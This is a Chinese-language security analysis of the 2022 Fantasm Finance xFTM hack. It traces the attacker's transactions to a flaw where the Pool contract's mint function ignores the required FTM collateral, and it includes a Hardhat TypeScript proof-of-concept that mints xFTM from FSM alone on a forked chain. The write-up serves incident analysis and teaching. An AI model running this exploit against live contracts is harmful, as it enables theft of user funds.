Fantasm Finance被黑分析

Fantasm Finance被黑分析

2022年3月9日,根据项目方紧急公告,xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址,黑客利用完漏洞后将获利全部换成了ETH,并跨链至以太坊主网,经笔者统计,黑客获利1007 ETH,折合当时ETH美元价格约为273万美元。

调研

分析攻击和漏洞之前肯定得看看项目是干嘛的,不能一上来就把攻击者的操作步骤就翻译一遍,流水账没意义,所以先来看看项目介绍

Untitled

https://docs.fantasticprotocol.io/synthetic-tokens

根据介绍可得知,Fantasm Finance是做合成代币的,xFTM就是这个项目的合成代币,由FTM和FSM这两个币支持,xFTM价格与FTM挂钩。那么如何保证挂钩呢,接着看文档

Untitled

Collateral Ratio

Fantastic Protocol is using a Collateral Ratio (CR) for Minting and Redeeming process. There will be a minimum Collateral Ratio which is set by governance.

Fantastic Protocol 使用抵押比率 (CR) 进行铸造和兑换过程。 将有一个由治理设定的最低抵押比率。

The CR is used by the minting and redeeming function and it is displayed as a percentage. This ratio expresses what percentage of FXM token is required to mint or redeem a FTM token.

CR will be adjusted every hour at the step of 0.2% (up or down)

For example: ▶️ 60min-TWAP over 1.005 FTM -> CR down ▶️ 60min-TWAP under 0.995 FTM -> CR up

At the beginning, the minimum CR is set at 90%

https://docs.fantasticprotocol.io/mechanisms/collateral-ratio

抵押比率CR每小时会以0.2%的程度进行调整。

如果60分钟的时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调

如果60分钟的时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调

根据这部分可得知,铸造xFTM的所需要的FTM占比最低为90%,比例随着DEX的预言机报价(xFTM:FTM)浮动,xFTM价格低于1FTM时,占比增加,高于时反之。再继续看

Untitled

为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为:

$1 FTM = CR*FTM + (1-CR)*FCM$

根据上图得知,FTM占比剩余部分由FSM这个币来支撑,例如FTM占比90%,那么FSM就得占比10%

https://docs.fantasticprotocol.io/mechanisms/minting-and-redeeming 现在的已经变了

Minting

In order to mint 1 FTMX, the system requires 1 FTM and (1 - CR) will be converted to FXM/FTM LP.

为了铸造1个FTMX,系统要求1个FTM,并且(1-CR)会被转化成FXM/FTM LP.

For example - CR = 90% and you want to mint 100 FTMX

90 FTM will be deposited into FTM pool reserve and 10 FTM will be converted to FXM/FTM LP (Protocol Owned Liquidity=POL)

分析

根据攻击者的地址:

https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d

先记住: 0x47这个是个坏蛋。

找到最初的几笔交易:

Untitled
  1. 先创建攻击合约

  2. 调用攻击合约的getWFTM函数

  3. 调用0x671daed9函数

  4. 调用Collect函数

  5. 创建攻击合约。

    下图中标绿色的这一行,创建了一个合约,合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e

    请先记住,0x47的坏蛋创建了一个0x94的合约。

  6. 调用攻击合约的getWFTM函数

先来看看第2步调getWFTM函数

Untitled

只是将FTM换为WFTM,没啥特别的

第3步的调用先不看,后面再讲,先直接看第4步的调用

Untitled

这笔交易的hash是0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9,

将hash放在tenderly中看下具体的调用。

这一步,攻击者直接莫名其妙铸造了2618个xFTM

Untitled

而仅仅只是调用了一下Pool合约(https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code)的collect函数

Untitled

根据函数代码,能mint多少xFTM取决于userInfo[_sender].xftmBalance,那么这个变量是怎么变为2618*1e18的呢?

不难想到,是在第3步里完成的,看一下第3步的交易:

https://ftmscan.com/tx/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac

Untitled

第三步的交易hash为:0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac 可以在tenderly中分析。

这样看看不出来啥,直接丢到tenderly里分析一下:

Untitled

前面的不重要,只是将WFTM换为FSM,重点看红框中,调用了Pool合约的mint函数,看了一下,这个合约就是项目的抵押品池子,mint函数的作用就是质押抵押品,铸造xFTM,跟进去看看

Untitled

这一行是计算要铸造多少xFTM,但是看着很奇怪,传进去两个参数_ftmIn和_fantasmIn,_ftmIn是0,_fantasmIn是5.7(之前攻击者用50个WFTM换的),最后得到的结果_xftmOut为2618,正好和前面的第4步对上了。

看下calcMint的参数:

/// @param _ftmIn Amount of FTM input.
/// @param _fantasmIn Amount of FSM input.
/// @return _xftmOut : the amount of XFTM output.
/// @return _minFtmIn : the required amount of FSM input.
/// @return _minFantasmIn : the required amount of FSM input.
/// @return _fee : the fee amount in FTM.
function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
        public
        view
        returns (
            uint256 _xftmOut,
            uint256 _minFtmIn,
            uint256 _minFantasmIn,
            uint256 _fee
        )
输入值分别为:FTM的数量,FSM的数量,
输出值为:可以铸造的 XFTM的数量,所需要的FTM的数量,所需要的FSM的数量,手续费

按官方文档来说,每个xFTM必须由90%以上的FTM支持,这里怎么还能传入0呢,很奇怪,跟进去看看

Untitled

首先是获取报价,这个报价我看了当时的FSM/FTM的行情,报价是没问题的,由于_ftmIn为0,大概率不满足if条件,进入else流程,但是,为什么_xftmOut会是2618呢,我百思不得其解,只能带入真实数值看看

从0x64的交易log中看

Untitled
Untitled

在当前 4月20日时的市价下,可以铸造99.7个xFTM,不需要补FSM。

Untitled

如果只投入100个FTM,根据最新的占比,能铸造100.2个xFTM,其中给出了最少需要的FSM数量(_minFantasmIn)0.13,所以还需要补0.13个FSM才能mint。

如果只投入100个FSM呢

Untitled

根据最新的占比,能铸造71664个xFTM,其中给出了最少需要的FTM数量71520…….恍然大悟,原来只投入FSM的话,还是按照FSM的占比来计算的xFTM铸币量,超出FSM占比的部分是需要用FTM来补的,赶紧回头看一下mint函数

Untitled

果然..根据红框内的代码可以看到,竟然把如此重要的_minFtmIn参数给忽略了,甚至都没声明变量,只考虑了需要补FSM的情况(参考第二个红框)………也就是说,当只投入FSM的时候,是不需要补FTM的抵押品的,如果FSM的占比为10%,那么就能用价值1u的FSM铸造价值10u的xFTM。

复现

我这里用hardhat+typescript进行攻击复现,fork区块32971742。

然后编写攻击脚本(attack.ts):

async function main() {
  await hre.network.provider.request({
    method: "hardhat_impersonateAccount",
    params: ["0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400"],
  });
  const signer = await hre.ethers.getSigner("0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400");
  const [attacker] = await hre.ethers.getSigners()
  const fsm = IERC20__factory.connect("0xaa621d2002b5a6275ef62d7a065a865167914801",attacker);
  const xFTM = IERC20__factory.connect("0xfbd2945d3601f21540ddd85c29c5c3caf108b96f",attacker);
  const pool = Pool__factory.connect("0x880672ab1d46d987e5d663fc7476cd8df3c9f937",attacker);

  console.log("Transfer 100 FSM to attacker.")
  await (await fsm.connect(signer).transfer(attacker.address, parseUnits("100", 18))).wait()
  console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
  console.log("Exploiting...")
  await (await fsm.approve(pool.address, constants.MaxUint256)).wait()
  await (await pool.mint(parseUnits("100", 18), 1)).wait()
  await (await pool.collect()).wait()
  console.log("Exploit complete.")
  console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
}

脚本很简单,先冒充个账户转点FSM给攻击账户,然后

  • 第一步,直接使用FSM进行mint,不附带msg.value,这样_ftmIn就为0,才会进入else流程

  • 第二步,调用collect把刚刚mint的xFTM领取出来

运行一下看

复现完成,铸造了27808个xFTM,而成本仅仅是100个FSM。

完整的PoC代码已经开源到下方链接,仅供参考:

Untitled

https://mp.weixin.qq.com/s/o41Da2PJtu7LEcam9eyCeQ

参考

https://dashboard.tenderly.co/tx/fantom/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac/debugger?trace=0.5.0